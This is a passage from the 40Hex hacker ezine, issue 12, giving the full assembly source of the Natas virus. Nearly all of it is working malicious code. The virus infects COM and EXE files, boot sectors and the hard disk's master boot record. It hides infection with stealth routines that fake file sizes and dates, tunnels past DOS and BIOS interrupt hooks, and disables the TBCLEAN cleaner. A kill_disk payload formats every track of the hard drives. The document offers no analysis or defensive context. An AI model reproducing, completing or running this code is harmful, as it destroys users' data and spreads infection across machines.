40hex nº12:(40HEX-12.005):04/12/1993 << Back To 40hex nº 12

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;Natas Virus ;COM/EXE/Boot sector/partition table/full Stealth and polymorphic ;Tunnels ;Does other stuff ;2 files -- v1eng.asm = virus eng.asm = Engine ----------------<<v1eng.asm>>-------------------------------------------------- .model tiny .code file_size equ file_end - v_start sect_size equ (decrypt - v_start + 511) / 512 para_size equ (v_end - v_start + 15) / 16 kilo_size equ (v_end - v_start + 1023) / 1024 find_dos_13 equ tracer_dos_13 - (trace_mode + 1) find_13 equ tracer_13 - (trace_mode + 1) find_15 equ tracer_15 - (trace_mode + 1) find_21 equ tracer_21 - (trace_mode + 1) find_40 equ tracer_40 - (trace_mode + 1) step_21 equ tracer_step_21 - (trace_mode + 1) loader_size equ loader_end - loader no_hook_21 equ new_13_next - (hook_21 + 1) yes_hook_21 equ check_21 - (hook_21 + 1) boot equ 0 file equ 1 years equ 100 shl 1 v_start: jmp decrypt ; push cs ; pop ds ; call copy_ints dw copy_ints - ($ + 2) ; save ints 13 15 21 40 mov ds:hook_21,al ; (0=yes_hook_21) hook 21h mov ds:origin,al ; (0=boot) remeber host mov es,ax ; ES=0 pop di sub di,3 ; address of loader in boot push ax di ; save return address 0:xxxx mov si,offset boot_code call move_boot_code1 ; copy and decode boot code mov al,13h mov dx,offset new_13 call set_int ; hook int 13h call inf_hard ; infect drive C: test byte ptr ds:load_head,dl ; DL=80h drive C:? je boot_retf mov ax,1ffh call random ; time to activate? jne boot_retf jmp kill_disk boot_retf: retf ; return to boot sector ;=====( Copy boot code and (en/de)crypt it )=================================; move_boot_code1:mov ah,ds:[si - 1] ; get key move_boot_code: mov cx,loader_size cld move_boot_loop: lodsb xor al,ah ; code/decode rol ah,1 stosb loop move_boot_loop retn ;=====( Code that was in boot sector before infection )======================; boot_code_key db ? boot_code: db loader_size dup(?) ;=====( Gets inserted into infected Boot sectors/MBRs )======================; loader: call $ + 3 mov di,40h mov ds,di sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory mov ax,ds:[di-(40h-13h)] mov cl,0ah ror ax,cl ; get TOM address mov es,ax mov ax,200h + sect_size xor bx,bx mov cx,0 load_sect = $ - 2 mov dx,0 load_head = $ - 2 int 13h ; read code into memory jb load_fail push es bx ; address of high code retf load_fail: int 18h loader_end: ;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================; copy_ints: push ds xor ax,ax mov ds,ax ; segment 0 mov si,13h * 4h mov di,offset int_13 push si si movsw movsw ; int 13h to int_13 pop si movsw movsw ; int 13h to dos_13 mov si,15h * 4h movsw movsw ; int 15h to int_15 pop si ; address of int 13h's IVT cmp byte ptr ds:[475h],al ; any hard disks? je copy_int_40 mov si,40h * 4h copy_int_40: movsw movsw ; copy int 13h/40h to int_40 mov si,21h * 4h movsw movsw ; int 21h to int_21 pop ds retn ;=====( get interrupt address )==============================================; get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,es:[bx] ; get int address pop ax retn ;=====( Set interrupt address )==============================================; set_int: push ax bx ds xor ah,ah rol ax,1 rol ax,1 xchg ax,bx xor ax,ax push ds mov ds,ax mov ds:[bx],dx pop ds:[bx + 2] pop ds bx ax retn push_all: pop cs:push_pop_ret pushf push ax bx cx dx bp si di ds es mov bp,sp push_pop_jmp: jmp cs:push_pop_ret pop_all: pop cs:push_pop_ret pop es ds di si bp dx cx bx ax popf jmp push_pop_jmp ;=====( Infect Drive C: )====================================================; inf_hard: push cs cs pop es ds mov ax,201h mov bx,offset disk_buff mov cx,1 mov dx,80h call call_13 ; read MBR of drive C: jb cant_inf_hard cmp ds:[bx.pt_start_head],ch ; Jackal? je cant_inf_hard mov cx,ds:[bx.pt_end_sector_track] and cx,0000000000111111b ; get sector count sub cx,sect_size jbe cant_inf_hard cmp cl,1 ; too few sectors? jbe cant_inf_hard call copy_loader ; copy loader into MBR jb cant_inf_hard push bx mov ax,300h + sect_size xor bx,bx call call_13 ; write code to hidden sectors pop bx jb cant_inf_hard mov ax,301h mov cl,1 call call_13 ; write infected MBR cant_inf_hard: retn ;=====( Copy Loader into disk_buff (BX) )====================================; copy_loader: push cx dx cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code? jne copy_load_no mov di,offset boot_code mov ds:[di+load_sect-boot_code],cx ; save track/sector and dl,80h ; Drive C: or A: mov ds:[di+load_head-boot_code],dx ; save head/disk call find_boot ; find code/already infected? je copy_load_no call random_1 ; get random key mov ds:[di - 1],ah ; save key at boot_code_key push si call move_boot_code ; save boot code and encrypt mov si,di ; offset of loader pop di ; boot code pointer mov cx,loader_size rep movsb ; copy loader into boot sect clc mov al,0 org $ - 1 copy_load_no: stc pop dx cx retn ;=====( Find start of boot sector's code )===================================; find_boot: mov si,bx cld lodsb ; get 1st instruction push ax lodsw ; Jump displacement (if jump) xchg cx,ax pop ax cmp al,0ebh ; Short jump? jne find_boot_jump xor ch,ch ; 8bit jump dec si jmp find_boot_add find_boot_jump: cmp al,0e9h ; Near Jump? je find_boot_add find_boot_noadd:xor cx,cx ; No displacement mov si,bx find_boot_add: add si,cx ; si=start of boot code cmp si,offset (disk_buff+200h) - (loader_size + 5) ; jump out of range? jnb find_boot_noadd cmp word ptr ds:[si],00e8h ; CALL -> already infected jne find_boot_ret cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf find_boot_ret: retn ;=====( Disable TBCLEAN )====================================================; anti_tbclean: xor ax,ax pushf pop dx and dh,not 1 ; TF off push dx dx popf push ss pop ss pushf ; Not trapped pop dx test dh,1 ; TF set? pop dx je anti_tb_ret push es xor bp,bp mov cx,ss cli mov ss,bp ; segment 0 les di,ss:[bp+1h*4h] ; address of int 1h mov ss,cx sti mov al,0cfh cld stosb ; IRET -> Int 1h pop es push dx popf anti_tb_ret: xchg bp,ax ; save result retn ;=====( Swap jump into DOS' int 13h )========================================; swap_13: call push_all mov si,offset jump_code_13 les di,cs:[si+dos_13-jump_code_13] ; get address in DOS jmp swap_code ;=====( Swap jump into DOS' int 21h )========================================; swap_21: call push_all mov si,offset jump_code_21 les di,cs:[si+int_21-jump_code_21] swap_code: push cs pop ds mov cx,5 cmp ds:origin,ch ; 0 -> Boot origin, no tunnel je swap_end cld swap_loop: lodsb xchg al,es:[di] mov ds:[si-1],al inc di loop swap_loop swap_end: call pop_all retn ;=====( Find original interrupt entry points )===============================; find_ints: call copy_ints ; get interrupt addresses mov ah,52h int 21h mov ax,es:[bx-2] mov ds:dos_seg,ax ; 1st MCB segment mov al,1h call get_int ; get address of int 1h push bx es mov dx,offset tracer call set_int ; hook int 1h pushf pop si mov di,offset trace_mode mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS ; and BIOS mov ah,1h call si_tf ; set TF call call_13 mov byte ptr ds:[di],find_15 ; find int 15h in BIOS mov ah,0c0h call si_tf ; set TF pushf call ds:int_15 mov byte ptr ds:[di],find_21 ; find int 21h in DOS mov ah,30h call si_tf ; set TF call call_21 mov byte ptr ds:[di],find_40 ; find int 40h in BIOS mov ah,1 call si_tf ; set TF call call_40 and si,not 100h push si popf ; disable Trapping pop ds dx mov al,1 call set_int ; unhook int 1h retn ;=====( Set TF in SI, then set flags to SI )=================================; si_tf: or si,100h push si popf retn ;=====( Tracing/Tunneling )==================================================; tracer: push ds push cs pop ds mov ds:old_di,di mov di,offset old_ax mov ds:[di],ax mov ds:[di+old_bx-old_ax],bx mov ds:[di+old_cx-old_ax],cx mov ds:[di+old_dx-old_ax],dx pop ds:[di-(old_ax-old_ds)] pop bx cx dx ; get IP, CS and Flags mov ax,cs cmp ax,cx ; In our CS? jne $ trace_mode = byte ptr $ - 1 jmp tracer_iret tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code? jnb tracer_cont mov di,offset dos_13 mov ds:trace_mode,find_13 ; find it in BIOS next jmp tracer_save_f tracer_21: cmp cx,1234h ; In DOS code? dos_seg = word ptr $ - 2 jnb tracer_cont mov di,offset int_21 tracer_save: and dh,not 1 ; TF off tracer_save_f: mov ds:[di],bx mov ds:[di + 2],cx ; save address of int jmp tracer_cont tracer_15: mov di,offset int_15 jmp tracer_bios tracer_40: mov di,offset int_40 jmp tracer_bios tracer_13: mov di,offset int_13 tracer_bios: cmp ch,0c8h ; Below BIOS? jb tracer_cont cmp ch,0f4h ; Above BIOS? jb tracer_save jmp tracer_cont tracer_step_21: dec ds:inst_count ; down counter jne tracer_cont push dx mov al,1 lds dx,ds:int_1 ; get int 1h address call set_int call swap_21 ; insert int 21h jump pop dx and dh,not 1h ; TF off tracer_cont: test dh,1 ; TF on? je tracer_iret get_inst: mov ds,cx ; instruction CS xor di,di get_inst1: mov ax,ds:[bx + di] ; get instruction cmp al,0f0h ; LOCK je skip_prefix cmp al,0f2h ; REPNE je skip_prefix cmp al,0f3h ; REPE? je skip_prefix cmp al,9ch ; PUSHF or above? jae emulate_pushf and al,11100111b ; 26,2e,36,3e = 26 cmp al,26h ; Segment Prefix? jne tracer_iret skip_prefix: inc di jmp get_inst1 emulate_pushf: jne emulate_popf and dh,not 1 ; TF off push dx ; fake PUSHF emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction emulate_tf: or dh,1 ; TF on jmp get_inst emulate_popf: cmp al,9dh ; POPF? jne emulate_iret pop dx ; fake POPF jmp emulate_next emulate_iret: cmp al,0cfh ; IRET? jne emulate_int pop bx cx dx ; fake IRET jmp emulate_tf emulate_int: cmp al,0cdh ; Int xx je emulate_int_xx cmp al,0cch ; Int 3? mov ah,3 je emulate_int_x cmp al,0ceh ; Into? mov ah,4 jne tracer_iret test dh,8 ; OF set? je tracer_iret emulate_int_x: dec bx ; [bx+di+2-1] emulate_int_xx: and dh,not 1 ; TF off lea bx,ds:[bx + di + 2] ; get return address push dx cx bx ; fake Int mov al,ah push es call get_int ; get interrupt address mov cx,es pop es jmp emulate_tf tracer_iret: push dx cx bx ; save flags, cs & ip mov ax,0 old_ds = word ptr $ - 2 mov ds,ax mov ax,0 old_ax = word ptr $ - 2 mov bx,0 old_bx = word ptr $ - 2 mov cx,0 old_cx = word ptr $ - 2 mov dx,0 old_dx = word ptr $ - 2 mov di,0 old_di = word ptr $ - 2 iret ;=====( file infections come here after decryption )=========================; file_start: push ds ; save PSP segment call $ + 3 pop si sub si,offset $ - 1 call anti_tbclean ; disable TBCLEAN or bp,bp ; TBCLEAN active? jne go_res mov ah,30h mov bx,-666h int 21h cmp al,3h ; must be DOS 3+ jb jump_host go_res: mov ax,es dec ax mov ds,ax xor di,di or bp,bp ; TBCLEAN here? jne dont_check_mcb cmp byte ptr ds:[di],'Z' ; Last Block? jne jump_host dont_check_mcb: mov ax,para_size sub ds:[di + 3],ax ; from MCB sub ds:[di + 12h],ax ; from PSP mov es,ds:[di + 12h] ; get memory address mov ds,di sub word ptr ds:[413h],kilo_size ; from int 12h mov cx,jump_code_13-v_start cld rep movs byte ptr es:[di],byte ptr cs:[si] mov ax,offset high_code push es ax retf jump_host: push cs pop ds pop es ; PSP segment lea si,ds:[si + header] ; get address of header mov ax,ds:[si] ; get 1st instruction cmp ax,'ZM' ; EXE? je jump_2_exe cmp ax,'MZ' ; EXE? je jump_2_exe mov cx,18h / 2 mov di,100h push es di cld rep movsw ; repair .COM file push es pop ds xchg ax,cx retf jump_2_exe: mov ax,es add ax,10h add ds:[si.eh_cs],ax add ax,ds:[si.eh_ss] ; get SS/CS push es pop ds cli mov ss,ax mov sp,cs:[si.eh_sp] xor ax,ax sti jmp dword ptr cs:[si.eh_ip] high_code: push cs pop ds mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel mov ax,2 call random ; 1 in 3 chance of no stealth ; on special programs mov ds:check_special,al mov ds:hook_21,no_hook_21 ; dont hook int 21h mov al,0eah stosb ; store at jump_code_13 mov ds:[di+4],al mov ax,offset new_13 stosw mov word ptr ds:[di+3],offset new_21 mov ds:[di],cs mov ds:[di+5],cs push di call find_ints ; trace interrupts pop di push cs pop ds mov ax,ds:dos_seg cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax ; found DOS' int 13h? ja call_inf_hard cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax ; found DOS' int 21h? ja call_inf_hard call swap_13 call swap_21 ; insert jumps into DOS call_inf_hard: call inf_hard ; infect drive C: or bp,bp ; ZF -> No TBCLEAN mov si,bp ; SI=0 if goto jump_host jne kill_disk jmp jump_host kill_disk: xor bx,bx mov es,bx ; table to use for format mov dl,80h ; Drive C: kill_next_disk: xor dh,dh ; head 0 kill_next_track:xor cx,cx ; track 0 kill_format: mov ax,501h call call_disk ; format track and cl,11000000b inc ch ; next track low jne kill_format add cl,40h ; next track high jne kill_format xor ah,ah int 13h ; reset disk inc dh ; next head cmp dh,10h jb kill_next_track inc dx ; next drive jmp kill_next_disk ;=====( Interrupt 13h handler )==============================================; new_13: jmp $ hook_21 = byte ptr $ - 1 check_21: call push_all mov al,21h call get_int ; get int 21h address mov ax,es push cs cs pop ds es cmp ax,800h ; too high? ja cant_hook_21 mov di,offset int_21 + 2 std xchg ax,ds:[di] ; swap addresses scasw ; did it change? je cant_hook_21 mov ds:[di],bx mov al,21h mov dx,offset new_21 call set_int ; hook int 21h mov ds:hook_21,no_hook_21 cant_hook_21: call pop_all new_13_next: cmp ah,2h ; Read? jne jump_13 cmp cx,1 ; track 0, sector 1? jne jump_13 or dh,dh ; head 0? je hide_boot jump_13: call call_dos_13 retf 2h hide_boot: call call_dos_13 ; read boot sector call push_all jb hide_boot_err push es cs pop es ds mov cx,100h mov si,bx mov di,offset disk_buff mov bx,di cld rep movsw ; copy boot sector to buffer push cs pop ds call find_boot ; find start/already infected? jne inf_boot mov ax,201h mov cx,ds:[si+load_sect-loader] mov dh,byte ptr ds:[si+(load_head+1)-loader] ; get code location call call_disk ; read virus code jb hide_boot_err mov ax,ds:[0] cmp ds:[bx],ax ; verify infection jne hide_boot_err mov di,ss:[bp.reg_bx] mov es,ss:[bp.reg_es] ; get caller's buffer sub si,bx ; displacement into boot sect. add di,si ; address of loader lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus call move_boot_code1 ; hide infection hide_boot_err: call pop_all retf 2h inf_boot: cmp dl,80h ; hard disk? jnb hide_boot_err mov ax,301h mov cx,1 call call_disk ; Write boot sector to disk ; CY -> Write-Protected jb hide_boot_err mov si,dx ; save drive # mov di,bx mov ax,ds:[di.bs_sectors] ; get number of sectors mov cx,ds:[di.bs_sectors_per_track] sub ds:[di.bs_sectors],cx ; prevent overwriting of code mov ds:hide_count,cx xor dx,dx or ax,ax ; error? je hide_boot_err jcxz hide_boot_err div cx or dx,dx ; even division? jne hide_boot_err mov bx,ds:[di.bs_heads] ; get number of heads or bx,bx je hide_boot_err div bx or dx,dx jne hide_boot_err dec ax mov ch,al ; last track mov cl,1 ; sector 1 dec bx mov dx,si ; drive mov dh,bl ; last head mov bx,di ; offset disk buffer call copy_loader ; Copy loader into Boot sector jb hide_boot_err mov ax,300h + sect_size xor bx,bx call call_disk jb hide_boot_err mov ax,301h mov bx,offset disk_buff mov cx,1 xor dh,dh call call_disk ; write boot sector to disk mov bx,ss:[bp.reg_bx] mov ds,ss:[bp.reg_es] ; get caller's buffer sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code hide_count = word ptr $ - 2 jmp hide_boot_err ;=====( Interrupt 21h handler )==============================================; new_21: cli mov cs:int_21_ss,ss mov cs:int_21_sp,sp ; save stack pointers push cs pop ss mov sp,offset temp_stack ; allocate stack sti call push_all in al,21h or al,2 ; disable keyboard out 21h,al push cs pop ds mov di,offset new_24 mov word ptr ds:[di-(new_24-handle)],bx ; save handle mov al,24h call get_int ; get address of int 24h mov word ptr ds:[di-(new_24-int_24)],bx mov word ptr ds:[di-(new_24-(int_24+2))],es mov word ptr ds:[di],03b0h ; MOV AL,3 mov byte ptr ds:[di+2],0cfh ; IRET mov dx,di call set_int ; hook int 24h call pop_all call swap_21 ; remove jump from int 21h call push_all cmp ah,30h ; get DOS version? jne is_dir_fcb add bx,666h ; looking for us? jnz is_dir_fcb mov ss:[bp.reg_ax],bx ; set DOS version=0 mov ss:[bp.reg_bx],bx jmp retf_21 is_dir_fcb: cmp ah,11h jb is_dir_asciiz cmp ah,12h ja is_dir_asciiz call call_21 ; do find or al,al ; error? je dir_fcb jmp jump_21 dir_fcb: call save_returns ; save AX call get_psp ; get current PSP mov ax,'HC' scasw ; CHKDSK? jne dir_fcb_ok mov ax,'DK' scasw jne dir_fcb_ok mov ax,'KS' scasw je retf_21 dir_fcb_ok: call get_dta ; get DTA address xor di,di cmp byte ptr ds:[bx],-1 ; extended FCB? jne dir_fcb_next mov di,7h ; fix it up dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI dir_hide: call is_specialfile ; no stealth if helper je retf_21 cmp byte ptr ds:[si],years ; infected? jc retf_21 sub byte ptr ds:[si],years ; restore old date les ax,ds:[bx+di.ds_size] ; get size of file mov cx,es sub ax,file_size ; hide size increase sbb cx,0 jc retf_21 mov word ptr ds:[bx+di.ds_size],ax mov word ptr ds:[bx+di.ds_size+2],cx ; save new size retf_21: call undo_24 ; unhook int 24h call pop_all call swap_21 ; insert jump cli mov ss,cs:int_21_ss mov sp,cs:int_21_sp sti retf 2 is_dir_asciiz: cmp ah,4eh jb is_lseek cmp ah,4fh ja is_lseek call call_21 jnc dir_asciiz go_jump_21: jmp jump_21 dir_asciiz: call save_returns ; save AX and flags call get_dta ; get dta address mov di,-3 lea si,ds:[bx.dta_date+1] ; get year address jmp dir_hide is_lseek: cmp ax,4202h ; Lseek to end? jne is_date call call_21_file jb go_jump_21 call get_dcb ; get DCB address jbe lseek_exit call is_specialfile ; dont hide true size from ; helpers je lseek_exit sub ax,file_size sbb dx,0 ; hide virus at end mov word ptr ds:[di.dcb_pos],ax mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB lseek_exit: clc call save_returns ; save AX/flags mov ss:[bp.reg_dx],dx jmp retf_21 is_date: cmp ax,5700h ; get date? je get_date cmp ax,5701h ; set date? jne is_read call get_dcb jbe date_err cmp dh,years ; already setting 100 years? jnb date_err add dh,years ; dont erase marker get_date: call is_specialfile ; do not hide date for ; helpers je date_err call call_21_file ; get/set date jnc date_check date_err: jmp jump_21 date_check: cmp dh,years ; infected? jb date_ok sub dh,years date_ok: clc call save_returns ; save ax/flags mov ss:[bp.reg_cx],cx mov ss:[bp.reg_dx],dx ; save time/date jmp retf_21 is_read: cmp ah,3fh ; reading file? je do_read no_read: jmp is_write do_read: call get_dcb ; get DCB address jbe no_read call is_specialfile je no_read les ax,ds:[di.dcb_size] ; get size of file mov bx,es les dx,ds:[di.dcb_pos] ; get current position mov si,es and cs:read_bytes,0 or si,si ; in 1st 64k? jnz read_high cmp dx,18h ; reading header? jnb read_high push cx add cx,dx cmc jnc read_above cmp cx,18h ; read goes above header? read_above: pop cx jb read_below mov cx,18h sub cx,dx read_below: push ax bx ; save size push dx ; position sub dx,18h add ax,dx ; get position in header cmc sbb bx,si xchg word ptr ds:[di.dcb_pos],ax xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header push ax bx push ds mov ah,3fh mov dx,ss:[bp.reg_dx] mov ds,ss:[bp.reg_ds] call call_21_file ; read file pop ds pop word ptr ds:[di.dcb_pos+2] pop word ptr ds:[di.dcb_pos] pop dx pushf add dx,ax ; adjust position add cs:read_bytes,ax ; remember # of bytes read popf pop bx ax jnc read_high jmp jump_21 read_high: mov word ptr ds:[di.dcb_pos],dx ; update position mov word ptr ds:[di.dcb_pos+2],si mov cx,ss:[bp.reg_cx] ; number of bytes to read sub cx,cs:read_bytes sub ax,file_size sbb bx,0 ; get original size push ax bx sub ax,dx sbb bx,si ; in virus now? pop bx ax jnc read_into xor cx,cx ; read 0 bytes jmp read_fake read_into: add dx,cx adc si,0 ; get position after read cmp bx,si ; read extends into virus? ja read_fake jb read_adjust cmp ax,dx jnb read_fake read_adjust: sub dx,cx ; get position again xchg cx,ax sub cx,dx ; # of bytes to read = Original size - Pos read_fake: mov ah,3fh mov dx,ss:[bp.reg_dx] add dx,cs:read_bytes mov ds,ss:[bp.reg_ds] call call_21_file ; read file jc read_exit add ax,0 read_bytes = word ptr $ - 2 clc read_exit: call save_returns jmp retf_21 is_write: cmp ah,40h ; write? je do_write no_write: jmp is_infect do_write: call get_dcb jbe no_write les ax,ds:[di.dcb_size] ; get file size mov bx,es sub ax,18h sbb bx,0 ; get header position xchg ax,word ptr ds:[di.dcb_pos] xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header push ax bx mov ax,2 xchg ax,ds:[di.dcb_mode] ; read/write mode push ax push ds cs pop ds es call read_header ; read 18h bytes pop es:[di.dcb_mode] ; restore access mode jc write_rest_pos mov word ptr es:[di.dcb_pos],ax mov word ptr es:[di.dcb_pos+2],ax ; lseek to start call write_header ; write old header jc write_rest_pos push es pop ds sub word ptr ds:[di.dcb_size],file_size sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years write_rest_pos: pop word ptr es:[di.dcb_pos+2] pop word ptr es:[di.dcb_pos] jmp jump_21 is_infect: cmp ah,3eh ; Close? je infect_3e cmp ax,4b00h ; Execute? je infect_4b jmp jump_21 infect_4b: mov ax,3d00h ; Open file cmp ax,0 org $ - 2 infect_3e: mov ah,45h ; Duplicate handle call int_2_bios ; lock out protection programs call call_21_file ; get handle mov cs:handle,ax mov ax,4408h cwd jc undo_bios call get_dcb ; get DCB for handle jb cant_infect jne cant_infect ; error/already infected mov bl,00111111b and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code mov dl,bl ; DX=00** inc bx ; 0=default,1=a,2=b,3=c,etc. call call_21 ; drive removable? mov cx,1h push cs pop es jc test_prot_drive dec ax ; 1=non-removable jz no_protect jmp test_protect test_prot_drive:cmp dl,1 ; A or B? ja no_protect test_protect: mov ax,201h mov bx,offset disk_buff int 13h ; read sector jc cant_infect mov ax,301h int 13h ; write it back jc cant_infect no_protect: inc cx ; CX=2 xchg cx,ds:[di.dcb_mode] ; read/write access mode push cx xor ax,ax xchg ah,ds:[di.dcb_attr] ; attribute=0 test ah,00000100b ; system file? push ax jne cant_system cbw cwd xchg ax,word ptr ds:[di.dcb_pos] xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0 push ax dx mov bp,-'OC' add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO jnz not_com mov bp,-'MO' add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM not_com: call infect pushf call get_dcb popf jc not_infected add byte ptr ds:[di.dcb_date+1],years ; add 100 years not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date pop word ptr ds:[di.dcb_pos+2] pop word ptr ds:[di.dcb_pos] cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute pop ds:[di.dcb_mode] ; restore access mode cant_infect: mov ah,3eh call call_21_file ; close file undo_bios: call int_2_bios ; restore interrupts ;=====( Jump on to int 21h )=================================================; jump_21: call undo_24 ; unhook int 24h push cs pop ds mov al,1h mov di,offset int_1 cmp byte ptr ds:[di+origin-int_1],al ; file origin? jne jump_21_1 call get_int ; get int 1h address mov ds:[di],bx mov ds:[di + 2],es mov byte ptr ds:[di+inst_count-int_1],5 mov ds:trace_mode,step_21 mov dx,offset tracer call set_int ; hook int 1h call pop_all push si pushf pop si call si_tf ; set TF pop si go_21: cli mov ss,cs:int_21_ss mov sp,cs:int_21_sp ; restore stack sti go_2_21: jmp cs:int_21 jump_21_1: call pop_all jmp go_21 ;=====( actual infection routine )===========================================; infect: push cs pop ds call read_header ; read first 18h bytes jc inf_bad_file mov si,dx mov di,offset work_header cld rep movsb ; copy header to work_header call get_dcb les ax,ds:[di.dcb_size] ; get file size mov dx,es mov word ptr ds:[di.dcb_pos],ax mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end push cs cs pop es ds mov cx,ds:[si] ; get first 2 bytes cmp cx,'MZ' ; .EXE file? je inf_exe cmp cx,'ZM' ; .EXE file? je inf_exe or dx,bp ; COM file and < 64k? jnz inf_bad_file cmp ax,0-(file_size+100) ja inf_bad_file cmp ax,1000 jb inf_bad_file mov byte ptr ds:[si],0e9h ; build jump inc ah ; Add PSP size (100h) push ax ; save IP for engine add ax,offset decrypt-103h ; get jump disp. (- PSP size) mov ds:[si+1],ax jmp append_vir inf_bad_file: stc retn inf_exe: cmp word ptr ds:[si.eh_max_mem],-1 jne inf_bad_file mov bp,ax mov di,dx ; save size in DI:BP mov cx,200h div cx ; divide into pages or dx,dx ; Any remainder? jz no_round inc ax no_round: sub ax,ds:[si.eh_size] ; size same as header says? jne inf_bad_file sub dx,ds:[si.eh_modulo] jne inf_bad_file mov ax,file_size ; virus size add ax,bp adc dx,di ; + program size div cx ; / 512 or dx,dx ; round up? jz no_round1 inc ax no_round1: mov ds:[si.eh_size],ax mov ds:[si.eh_modulo],dx ; set new size mov bx,0-(file_size+1000) xor cx,cx get_exe_ip: cmp bp,bx ; make sure virus does not ; cross segments jb got_exe_ip sub bp,10h ; down 10h bytes loop get_exe_ip ; up 1 paragraph got_exe_ip: cmp di,0fh ja inf_bad_file xchg cx,ax mov cl,4 ror di,cl ; get segment displacement or ax,ax jz no_para_add sub di,ax ; Add segments from LOOP jnc inf_bad_file no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in ; paragraphs push bp ; save offset of v_start add bp,decrypt-v_start mov ds:[si.eh_ip],bp ; set IP mov ds:[si.eh_cs],di ; set CS add bp,512 ; 512 bytes of stack mov ds:[si.eh_sp],bp ; set SP mov ds:[si.eh_ss],di ; set SS mov bp,8000h ; Tell engine "Exe file" sar bx,cl ; 0 - ((file_size+1000h)/16) mov ax,ds:[si.eh_min_mem] sub ax,bx ; add file_size+1000h/16 jnb append_vir mov ds:[si.eh_min_mem],ax append_vir: pop ax call engine ; encrypt/write/decrypt push bp popf jc append_vir_err call get_dcb mov word ptr ds:[di.dcb_pos],cx mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start mov ah,40h mov dx,offset work_header push cs pop ds call header_op ; write new header to file append_vir_err: retn ;=====( Get DCB address for file )===========================================; get_dcb: push ax bx mov ax,1220h mov bx,cs:handle ; get file handle int 2fh ; get DCB number address jc get_dcb_fail mov ax,1216h mov bl,es:[di] ; get DCB number cmp bl,-1 ; Handle Openned? cmc je get_dcb_fail int 2fh ; get DCB address jc get_dcb_fail push es pop ds test byte ptr ds:[di.dcb_dev_attr],80h ; device or file? cmc jne get_dcb_fail test byte ptr ds:[di.dcb_date+1],80h ; infected? get_dcb_fail: pop bx ax retn ;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============; int_2_bios: push ax bx dx ds mov al,13h ; int 13h mov di,offset int_13 int_2_bios_lp: push cs pop ds call get_int ; get int address mov dx,es xchg bx,ds:[di] ; swap offsets cld scasw xchg dx,bx xchg bx,ds:[di] ; swap segments scasw mov ds,bx ; DS:DX=new address call set_int ; set int to DS:DX cmp al,15h mov al,15h jnb int_2_bios_40 ; CY AL=13h add di,4 jmp int_2_bios_lp int_2_bios_40: mov al,40h je int_2_bios_lp ; ZR AL=15h else AL=40h, exit pop ds dx bx ax retn ;=====( Read/write header to file )==========================================; read_header: mov ah,3fh cmp ax,0 org $ - 2 write_header: mov ah,40h mov dx,offset header header_op: mov cx,18h call call_21_file ; read/write header jc read_write_err sub ax,cx read_write_err: retn ;=====( Unhook int 24h )=====================================================; undo_24: mov al,24h lds dx,cs:int_24 call set_int ; unhook int 24h in al,21h and al,not 2 ; enable keyboard out 21h,al retn ;=====( Save returns after int 21h call )====================================; save_returns: mov ss:[bp.reg_ax],ax pushf pop ss:[bp.reg_f] retn ;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================; is_specialfile: push ax cx si di es mov al,0 check_special = byte ptr $ - 1 or al,al ; Check for special? jnz it_is_special call get_psp ; get MCB of current PSP mov ax,es:[di] ; get 1st 2 letters of name cmp ax,'RA' ; ARj? je it_is_special cmp ax,'HL' ; LHa? je it_is_special cmp ax,'KP' ; PKzip? je it_is_special mov cx,2 mov si,offset backup is_it_mod_bak: push cx di mov cl,8 lods byte ptr cs:[si] ; get 'B' or 'M' xor al,66h + 6h ; decrypt repne scasb jne is_it_mod cmp cl,3 jb is_it_mod mov cl,4 is_ode_ack: lods byte ptr cs:[si] xor al,66h + 6h jz is_it_mod ; 0 (done)? scasb loope is_ode_ack is_it_mod: mov si,offset modem pop di cx loopne is_it_mod_bak it_is_special: pop es di si cx ax retn backup: db 'B' xor (66h + 6h) db 'A' xor (66h + 6h) db 'C' xor (66h + 6h) db 'K' xor (66h + 6h) db 0 xor (66h + 6h) modem: db 'M' xor (66h + 6h) db 'O' xor (66h + 6h) db 'D' xor (66h + 6h) db 'E' xor (66h + 6h) db 'M' xor (66h + 6h) ;=====( get current PSP segment )============================================; get_psp: push ax bx mov ah,62h call call_21 ; get PSP segment dec bx mov es,bx ; MCB of current program mov di,8h ; offset of file name cld pop bx ax retn ;=====( Get DTA address )====================================================; get_dta: mov ah,2fh call call_21 ; DTA address into ES:BX push es pop ds retn call_dos_13: call swap_13 pushf call cs:dos_13 call swap_13 retn call_disk: test dl,80h ; ZF -> Floppy disk (int 40h) je call_40 call_13: pushf call cs:int_13 retn call_21_file: mov bx,0 handle = word ptr $ - 2 call_21: pushf push cs call go_2_21 retn call_40: pushf call cs:int_40 retn include eng.asm db "Natas",0 even decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS mov byte ptr ds:[102h],0e8h ; CALL jmp file_start org decrypt + 150 header dw 18h / 2 dup(20cdh) file_end: work_header dw 18h / 2 dup(?) write_buff: db encode_end-encode dup(?) 